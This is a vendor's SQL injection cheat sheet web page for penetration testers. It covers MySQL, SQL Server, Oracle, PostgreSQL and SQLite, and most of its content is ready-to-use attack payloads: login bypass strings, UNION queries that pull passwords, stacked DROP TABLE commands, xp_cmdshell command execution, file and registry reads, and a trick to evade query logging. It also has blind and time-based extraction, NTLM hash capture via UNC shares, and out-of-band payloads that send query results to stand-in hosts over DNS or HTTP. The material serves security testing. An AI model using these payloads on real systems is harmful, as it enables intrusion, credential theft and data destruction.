🚀 Invicti Acquires Kondukto to Deliver Proof-Based Application Security Posture Management
Use the Invicti SQL Injection Cheat Sheet to learn about exploiting different variants of the SQL injection vulnerability. The cheat sheet includes technical information and payloads for SQL injection attacks against MySQL, Microsoft SQL Server, Oracle and PostgreSQL database servers.
This SQL injection cheat sheet is a cybersecurity resource with detailed technical information and attack payloads to test for different types of SQL injection (SQLi) vulnerabilities caused by insufficient user input validation and sanitization. This cheat sheet can be used as a reference for penetration testers but also as a general guide for anyone interested in web application security and all the unexpected things you can do with SQL commands.
This cheat sheet has been the web’s leading reference for SQL injection payloads ever since it was first published in 2015 on Netsparker. It is a living document in constant development and currently contains payloads and tips for MySQL, Microsoft SQL Server, Oracle, PostgreSQL, and SQLite. As with any cheat sheet, some examples might not work in every situation because injection in real live environments will vary depending on the server configuration, structured query language dialect, usage of parentheses, application framework, and unexpected, strange, and complex SQL statements.
Successful SQL injection often requires a payload tailored to a specific SQL database system. Payload usability is indicated as follows:
When a payloads works on several database systems, you will see multiple symbols:
Automatically finding and exploiting SQL injection vulnerabilities with DAST
This cheat sheet lists dozens of SQLi payloads and techniques but still only scratches the surface. Different types of attacks, SQL code variants, encoding options, values to try out to bypass filters—there’s no way anyone could cover all the combinations manually, which makes DAST tools (web vulnerability scanners) a vital part of any offensive or defensive application security toolbox.
DAST solutions such as Invicti and Acunetix by Invicti can quickly and automatically test hundreds of SQLi attack variations with unique payload values to be sure that a specific application reaction indicates a true vulnerability. Covering in-band, out-of-band, and even boolean SQL injections, Invicti DAST tools not only identify vulnerabilities but can safely exploit many of them and present a proof of exploit.
Learn how Invicti’s proof-based scanning works and get a demo to see it in action!
Put a line comment at the end to comment out the rest of the query. Line comments are typically used to ignore the rest of the original query so you don’t need to worry about ensuring valid syntax after the injection point.
--
(SMPOL) DROP sampletable;--
#
(M) DROP sampletable;#
A common example is logging in as admin:
username
parameter with a single quote: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
--
will be ignored.You can use inline comments to comment out the rest of a query as with line comments (by simply not closing the comment). They are also useful for manipulating characters to bypass filtering/blacklisting, remove spaces, and obfuscate queries. In MySQL, you can use its special comment syntax to detect the database and version.
Generic SQL comment syntax is:
/*Comment Here*/
(SMPOL)Typical uses of inline comments:
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
For MySQL only, you can use special comment syntax:
/*! MYSQL special comment format */
(M) This special comment syntax is perfect for detecting that MySQL is being used because any instructions you put in this comment will only execute in MySQL. You can even use this to detect the version. The following example will execute and generate an error only is the server uses MySQL in the specified version or later:
SELECT /*!80027 1/0, */ 1 FROM tablename
10; DROP TABLE members /*
10; DROP TABLE members --
SELECT /*!80027 1/0, */ 1 FROM tablename
/*!80027 10*/
10
SELECT /*!80027 1/0, */ 1 FROM tablename
Stacking means executing more than one query in one transaction. This technique can be very useful but only works for some combinations of database server and access method:
;
(MSP) SELECT * FROM members; DROP members--
When successful, this will end one query and start another one.
Note that results from the second query (and any additional queries) are not returned to the application. You need to use blind SQL injection methods to confirm that the second query is working, such as a delay, DNS query, etc.
10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.
Get response based on an IF
statement. This is one of the key techniques for Blind SQL Injection. Also very useful to test simpler things blindly yet accurately.
IF(condition,true-part,false-part)
(M) SELECT IF(1=1,'true','false')
IF condition true-part ELSE false-part
(S) IF (1=1) SELECT 'true' ELSE SELECT 'false'
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;
(O) IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part END;
(P) SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;
iif(condition, true-part, false-part)
(L) SELECT iif(1<2, "True", "False");
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0
(S)
This will throw a divide by zero error if the user currently logged in is not sa
or dbo
.
Very useful for bypassing magic_quotes()
and similar filtering/escaping techniques, including web application firewall (WAF) filters.
0xHEXNUMBER
(SM) You can use hex values in queries like this:
SELECT CHAR(0x66)
(S) SELECT 0x5045
(M) (this is not an integer but a string based on the hex value...) SELECT 0x50 + 0x45
(M) (... but this is now an integer!) ' OR 0x20 + 0x10 = 0x30 -- -
String-related operations can be useful for building up injections that do not use any quotes, bypassing blacklisting, or determining the type of back-end database.
+
(S) SELECT login + '-' + password FROM members
||
(*MO) SELECT login || '-' || password FROM members
Note that for MySQL, the above example will only work if MySQL is running in ANSI mode. Otherwise, MySQL will treat ||
as a logical operator and return 0. A better way it to use the CONCAT()
function in MySQL:
CONCAT(str1, str2, str3, ...)
(M) SELECT CONCAT(login, password) FROM members
Apart from a few direct ways of specifying strings, you can always use CHAR()
(MS) and CONCAT()
(M) to generate a string without quotes.
0x457578
(M): Return a string based on the hex representation SELECT 0x457578
SELECT CONCAT('0x',HEX('c:\\boot.ini'))
All these examples return the string KLM
:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
(M) SELECT CHAR(75)+CHAR(76)+CHAR(77)
(S) SELECT CHR(75)||CHR(76)||CHR(77)
(O) SELECT (CHaR(75)||CHaR(76)||CHaR(77))
(P) SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
(M) ASCII()
(SMPO) SELECT ASCII('a')
CHAR()
(SM) SELECT CHAR(64)
CHR()
(P) SELECT CHR(64)
With the UNION
statement, you can run cross-table SQL queries. Basically, by injecting UNION
, you can poison a query to return records from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This query will combine results from the news
and members
tables and return all of them.
One sample payload might be: ' UNION SELECT 1, 'anotheruser', 'any string', 1--
While exploiting UNION
injections, you can sometimes get errors because of different language settings (different locales in table settings, field settings, or combined table and database settings). It’s not a common problem, but you can run into it when dealing with applications that store data in different encodings. Here are a few tricks to deal with it:
fieldname
COLLATE
SQL_Latin1_General_Cp1254_CS_AS
(or another valid collation method, check the SQL Server documentation for details)SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
Hex()
to deal with any encoding issuesSQL injection 101—here are some typical login tricks that you can use with form fields and parameters:
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
Another trick is to log in as a different user (SM*):' UNION SELECT 1, 'anotheruser', 'any string', 1--
Very few applications still store passwords in plain text. If you want to bypass authentication by supplying your own password with a UNION
query, you will need to hash the password before replacing it. Many hashing algorithms exist, but for simplicity, the examples below use the mostly obsolete MD5 algorithm.
An application may verify login credentials by first getting the user record based on the username and then checking if the hash of the input password value is correct. You can UNION
results with a known password and the MD5 hash of this password. The application will then compare your password and your supplied MD5 hash instead of the hash value from the database.
Username: admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password: 1234
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Try the following payloads in the specified order:
' HAVING 1=1 --
(triggers error 1)' GROUP BY table.columnfromerror1 HAVING 1=1 --
(triggers error 2)' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
(triggers error 3)' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
Once you are not getting any more errors, you are done.
Finding the number of columns using ORDER BY
can speed up the UNION
SQL injection process. Try the following payloads:
ORDER BY 1--
ORDER BY 2--
ORDER BY N--
Keep going until you get an error, which means you have found the number of columns being selected.
UNION
with ALL
because you can have similar non-distinct field types. By default, UNION
tries to get distinct records.-1
or any non-existent record search at the beginning of your query (only when injecting into the WHERE
clause). This can be necessary if you are only getting one result at a time.NULL
in UNION
injections instead of trying to guess if the column is a string, date, integer etc.In blind injection situations, make sure you always check if the error is coming from the database or from the application itself. Some languages (like ASP.NET) tend to generally throw errors when dealing with
NULL
values (mostly because developers are not expecting to processNULL
in a field like username.)
Use the sum()
function to provoke errors from non-numeric types:
' UNION SELECT sum(columntofind) from users--
(S) Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
If you are not getting an error, it means the column is numeric.
You can also use cast()
or convert()
in a similar way, for example:
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
Rinse and repeat until you have all the column types mapped out.
You will get
convert()
errors beforeUNION
target errors, so remember to start withconvert()
and only then doUNION
.
While SELECT
statements are normally preferred for testing as non-destructive, an INSERT
injection into a user table can allow you to add a new user, hopefully with elevated permissions:
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
(MSO+)
@@version
(MS) @@version
in INSERT
and UPDATE
statements as well as in functions:INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
version()
(P)UNION SELECT NULL, version(), NULL
sqlite_version()
(L)UNION SELECT NULL,sqlite_version(),NULL;
PRODUCT_COMPONENT_VERSION
table (O)SELECT version FROM PRODUCT_COMPONENT_VERSION WHERE product LIKE 'Oracle Database%';
Inserting the content of a file into a table lets you browse local files when you only have database access. If you are dealing with a particularly old version of IIS (up to and including IIS6), if you don’t know the internal path of a web application, you can read the IIS metabase file at %systemroot%\system32\inetsrv\MetaBase.xml, load it into a table, and then search in it to identify the application path.
To browse the content of a file, you can use:
CREATE TABLE foo( line varchar(8000) )
BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'
You can then drop the temp table and repeat for another file.
Using bcp, you can load files into a table or write table data to a file. Login credentials are required to use this utility.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
ActiveX support in SQL Server lets you use Visual Basic Script (VBS) and Windows Script Host (WSH) scripting. Take this sample shell script:
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
To inject this into a username field, use a payload like:
'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
This is a well-known trick for command injection, but it has two crucial requirements:
Typical payload to get the command prompt:
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
A simple ping check can be useful to see if you’re in (you’ll first need to set up a firewall or sniffer to identify the request):
EXEC master.dbo.xp_cmdshell 'ping example.com'
Note that you can’t directly read the results of this EXEC
from an error, UNION
query, or similar.
By default, xp_cmdshell
and several other potentially dangerous stored procedures are disabled in SQL Server 2005. Once you have admin access, you can enable these procedures as follows:
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
Stored procedures are available to perform various registry operations. Some of these are undocumented and may change over time:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Sample payloads to read values from a registry path:
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
xp_servicecontrol
xp_availablemedia
xp_enumdsn
xp_loginconfig
xp_makecab
xp_ntsec_enumdomains
xp_terminate_process
sp_makewebtask
You can also use sp_addextendedproc
to add a new procedure, which basically lets you execute arbitrary code:
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver
master..sysmessages
master..sysservers
masters..sysxlogins
sys.sql_logins
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER
(Transact-SQL) IS_SRVROLEMEMBER
(Transact-SQL) OPENDATASOURCE
(Transact-SQL)OPENROWSET
(Transact-SQL)Remember that you cannot use sub-selects in SQL Server
INSERT
queries.
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injecting into the second limit value, you can comment it out or use it in your UNION
injection.
This can occasionally be useful. To shut down the database server, inject: ';shutdown --
Use the sysobjects
system table (older versions) or sys.objects
view (newer versions):
SELECT name FROM sysobjects WHERE xtype = 'U'
SELECT TOP 1 name FROM sys.objects WHERE type = 'U'
Use the syscolumns
and sysobjects
system tables (older versions) or sys.columns
and sys.objects
views (newer versions):
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
A very effective technique is to modify WHERE
and use the NOT IN
or NOT EXIST
clause:
... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)
Or you can resort to some dirty tricks for column enumeration:
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (
SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3)
as int as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id)
AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
Here’s a sample payload that combines variables and system table queries to extract data into a temporary table (use syscolumns
and sysobjects
for older version and sys.columns
and sys.objects
for newer versions):
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE
id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM sys.columns WHERE
id =(SELECT id FROM sys.objects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'
SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
In any decent production application, you generally cannot see any error responses on the page. This rules out extracting data directly through error-based attacks. In these cases, you have to use blind SQL injections to extract the data. There are two basic kinds of blind SQL injections:
In normal blind injections, you can use IF
statements or abuse WHERE
clauses in queries, which is generally the easier route. For totally blind injections, you need to use some kind of wait function and then analyze the response times.
Examples of available wait/timeout functions include:
WAITFOR DELAY '0:0:10'
in SQL ServerBENCHMARK()
and sleep(10)
in MySQLpg_sleep(10)
in PostgreSQLFor Oracle, there are some PL/SQL tricks you can use for the same effect.
This output is taken from a real private blind SQL injection tool while exploiting SQL Server back-ended application and enumerating table names. These requests are done for first character of the first table name. The SQL queries are a bit more complex then necessary to allow for automation. Through this series of injections, we are trying to determine the ASCII value of a character using a binary search algorithm. In effect, we’re asking a series of yes/no questions about value ranges.
The following series of queries was executed to track down the first character (where TRUE and FALSE flags indicate the logical result of each query):
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE: SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
Since the last two queries both failed, we now know that 80 is the ASCII value of the first character of the table name, so the table name starts with the letter P. In this way, you can exploit blind SQL injections using a binary search algorithm. Another well-known way is to read data one bit at a time. Both methods can be effective in different conditions. If you can get direct feedback, it's enough to go through a fixed list of possible characters. If your only indication of success are differing response times or if the application is slow, you can use an algorithm like the one above.
You should only use time-based payloads for totally blind injections. For normal blind injections, it’s better to just use boolean-based methods (like error-based true/false tests) to identify the difference in responses.
Be careful if using times longer than 20–30 seconds because the database API connection or script can time out.
This is just like a sleep command—a CPU-safe way to make the database wait for a specified time.
WAITFOR DELAY '0:0:10'--
You can also use fractional time values, though in general, longer waiting times are less sensitive to variations in server load or available bandwidth:
WAITFOR DELAY '0:0:0.51'
if (select user) = 'sa' waitfor delay '0:0:10'
WHERE ProductID = '1'
. Instead of just the expected integer, we can try injecting:
1;waitfor delay '0:0:10'--
1);waitfor delay '0:0:10'--
1';waitfor delay '0:0:10'--
1');waitfor delay '0:0:10'--
1));waitfor delay '0:0:10'--
1'));waitfor delay '0:0:10'--
The BENCHMARK() function is intended for timing performance when executing some expression a specified number of times. We can abuse it for time-based attacks to make MySQL wait a bit. Because this function consumes CPU cycles, be careful you don’t use up the entire web server resource limit. It's best to start with lower values and increase them gradually just until you get stable results.
BENCHMARK(how-many-repeats, expression-to-execute)
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Sleep for the specified time in seconds:
SELECT pg_sleep(10);
Sleep for the specified time in seconds:
SELECT sleep(10);
Sleep for the specified time in seconds:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR((your-injected-query-here),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
For security reasons, SQL Server doesn’t log queries that include the function sp_password
(used for changing passwords). This can be abused to prevent certain queries from being logged by the database server—simply appending --sp_password
to an SQL query is enough to bypass logging. Note that the request will still appear in web server logs if injecting into a GET
parameter (but not POST
).
Here are some quick checks to determine if blind SQL injections are possible:
product.asp?id=4
(SMO):
product.asp?id=5-1
(returns the result for id=4
)product.asp?id=4 OR 1=1
product.asp?name=Book
:
product.asp?name=Bo'%2b'ok
product.asp?name=Bo' || 'ok
(only MO)product.asp?name=Book' OR 'x'='x
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
SELECT ... INTO DUMPFILE
(Writes the query result into a new file—cannot modify existing files)SELECT USER();
SELECT password,USER() FROM mysql.user;
create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
query.php?user=1+union+select+load_file(0x63...),1
LOAD DATA INFILE
(not available in a default config, you first need to enable the setting local_infile
):
CREATE TABLE foo( line blob );
LOAD DATA INFILE 'c:/boot.ini' INTO TABLE foo;
SELECT * FROM foo;
select benchmark( 500000, sha1( 'test' ) );
query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS()
: Useful for compressing data, especially when reading large binaries via blind SQL injections.ROW_COUNT()
SCHEMA()
VERSION()
: Same as @@version
With a second-order SQL injection, your injected payload is stored somewhere by the application and then used somewhere, hopefully unfiltered because SQL injection wasn’t expected in that place. This is a common hidden layer problem.
Say you have an application that lets you create some kind of user account. You can try this injection into the name field:
Name: ' + (SELECT TOP 1 password FROM users ) + '
Email: xx@xx.com
With this payload, if the application uses the name field value in an unsafe stored procedure, function, or process, it will store the first user’s password as your name.
This attack can help you get the SQL Server user’s Windows password for the target server when your inbound connection is firewalled. This can be very useful during internal penetration tests.
The trick is to force SQL Server to connect to your Windows UNC share and then capture NTLM session data with a tool like Cain & Abel.
You can bulk insert data not only from a file but also from a UNC share, which is useful here:
BULK INSERT foo FROM '\\your-ip-address\C$\x.txt'
An out-of-band (OOB) SQL injection is done when you need to exfiltrate data through a different channel than you used for the injection. DNS is one of the most common out-of-band channels because DNS requests are rarely blocked.
Both examples will send a DNS resolution request to YOUR-INJECTION-HERE.example.com:
?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', (YOUR-INJECTION-HERE)+'.example.com';'sa';'pwd', 'SELECT 1')
?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+(YOUR-INJECTION-HERE)+'.example.com\\test.txt'; EXEC master..xp_dirtree @q
The next two payloads attempt to reach UNC shares, so they can only work on Windows operating systems (Linux does not natively support or resolve these). Additionally, this only works if the secure_file_priv
setting is set to an empty string.
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',(YOUR-INJECTION-HERE), 'example.com\\')))
?vulnerableParam=-99 OR (SELECT (YOUR-INJECTION-HERE) INTO OUTFILE '\\\\example.com\\share\\output.txt')
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/log.php?response='||(YOUR-INJECTION-HERE)||'') FROM DUAL)
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||(YOUR-INJECTION-HERE)||'.html') FROM DUAL)
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr((YOUR-INJECTION-HERE)||'.example.com') FROM DUAL)
?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT((YOUR-INJECTION-HERE)||'.example.com',80) FROM DUAL)
Classification | ID / Severity |
---|---|
PCI DSS 3.2 | 6.5.1 |
PCI DSS 4.0 | 6.2.4 |
OWASP 2013 | A1 |
OWASP 2017 | A1 |
CWE | 89 |
CAPEC | 66 |
WASC | 19 |
HIPAA | 164.306(a), 164.308(a) |
ISO27001 | A.14.2.5 |
ASVS 4.0 | 5.3.4 |
NIST SP 800-53 | SI-10 |
DISA STIG | V-16807 |
OWASP API 2019 | API8 |
OWASP Top 10 2021 | A03 |
CVSS 3.0 Score | |
Base | 10 (Critical) |
Temporal | 10 (Critical) |
Environmental | 10 (Critical) |
CVSS 3.0 Vector String | |
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | |
CVSS 3.1 Score | |
Base | 10 (Critical) |
Temporal | 10 (Critical) |
Environmental | 10 (Critical) |
CVSS 3.1 Vector String | |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | |
CVSS 4.0 Score | |
Base | 9.3 (Critical) |
Exploitability | 8.9 (High) |
Complexity | 8.9 (High) |
Vulnerable system | 8.9 (High) |
Subsequent system | 0.1 (Low) |
Exploitation | 8.9 (High) |
Security requirements | 8.9 (High) |
CVSS 4.0 Vector String | |
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |